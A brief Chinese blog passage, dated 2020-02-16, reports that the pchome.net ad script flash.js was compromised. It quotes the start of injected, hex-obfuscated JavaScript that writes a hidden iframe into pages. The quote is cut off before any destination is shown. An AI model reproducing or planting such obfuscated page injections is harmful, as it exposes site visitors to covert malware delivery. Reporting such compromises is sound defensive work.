2020-02-16 标签:上周,方法,病毒,来源,竟然,ad,pchome,n,et,原来,挂得,比较,隐蔽,http,btn,flash,js,中间

挂得比较隐蔽，http://btn.pchome.net/flash.js的中间被加入了如下代码： window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]('\x3c\x69\x66\x72\x61\x6d